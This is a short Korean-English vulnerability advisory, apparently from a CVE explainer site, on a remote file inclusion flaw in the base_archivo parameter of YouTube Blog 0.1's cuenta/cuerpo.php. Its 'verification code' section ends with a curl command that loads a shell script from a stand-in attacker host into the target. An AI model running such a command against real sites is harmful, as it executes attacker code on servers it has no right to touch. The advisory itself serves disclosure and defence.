🇰🇷 한글 설명
C. Desseno YouTube Blog(ytb) 버전 0.1의 cuenta/cuerpo.php 파일에 원격 파일 포함(RFI) 취약점이 존재합니다. register_globals 설정이 활성화되어 있을 때, base_archivo 매개변수를 통해 공격자가 원격 PHP 코드를 실행할 수 있습니다.
💡 쉬운 설명
오래된 YouTube Blog 프로그램의 파일 경로를 입력받는 부분에서 검증이 부족해 악의적인 코드를 원격에서 실행할 수 있습니다. 이 프로그램을 사용하는 웹사이트는 해킹당할 수 있습니다.
🇺🇸 원문 (English)
PHP remote file inclusion vulnerability in cuenta/cuerpo.php in C. Desseno YouTube Blog (ytb) 0.1, when register_globals is enabled, allows remote attackers to execute arbitrary PHP code via a URL in the base_archivo parameter.
📍 영향받는 시스템
C. Desseno YouTube Blog (ytb) 0.1 (register_globals enabled)
⚔️ 공격 벡터
Malicious URL with arbitrary PHP file URL in base_archivo parameter to cuenta/cuerpo.php
🛡️ 대응 방법
Upgrade to patched version or disable register_globals and implement input validation in base_archivo parameter
🔧 검증 코드
shell, system, exec 등 PHP 함수명이 응답에 포함되면 취약점이 활동 중일 가능성이 높습니다.
curl -s 'http://target/cuenta/cuerpo.php?base_archivo=http://attacker.com/shell.php' | grep -i 'shell\|system\|exec'